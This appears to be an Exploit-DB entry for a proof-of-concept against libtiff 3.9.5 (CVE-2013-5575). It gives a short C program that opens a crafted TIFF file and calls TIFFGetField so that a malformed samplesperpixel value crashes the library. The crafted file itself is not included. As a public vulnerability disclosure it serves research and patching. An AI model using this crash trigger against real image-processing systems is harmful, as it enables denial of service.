libtiff 3.9.5 - Integer Overflow

Author: x90c
type: dos
platform: linux
port: 
date_added: 2013-08-26  
date_updated: 2019-03-07  
verified: 0  
codes: CVE-2013-5575;OSVDB-96623  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comtiff-3.9.5.tar.gz  

raw file: 27875.c  

/*
# Exploit Title: libtiff <= 3.9.5 Integer overflow bug poc
# Date: 2013/08/25
# Exploit Author: x90c
# Vendor Homepage: http://www.remotesensing.org/libtiff
# Version:
- libtiff 3.9.5 <=
# Tested on:
- libtiff 4.0.3
- libtiff 4.0.2
- libtiff 4.0.1
- libtiff 4.0.0 (safe)
- libtiff 3.9.5 (vulnerable) <=
- libtiff 3.6.0
# CVE : CVE-2013-5575

I submit the poc of libtiff bug and
attached original advisory too
I want to submit the poc, sample file only

http://www.x90c.org/advisories/xadv_2013001_libtiff.txt
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "tiffio.h"

int tiff_integer_overflow_test(){
TIFF* tif = TIFFOpen("/home/x90c/sample_spp.tif", "r");
int samples = 0;

/*
 * for instance, TIFFGetField library function will
 * called with malicious samplesperpixel field value
 * TIFFGetField got segfault!
 */
TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samples);

printf("tiff_poc: tif samplesperpixel field=%d\n", samples);
}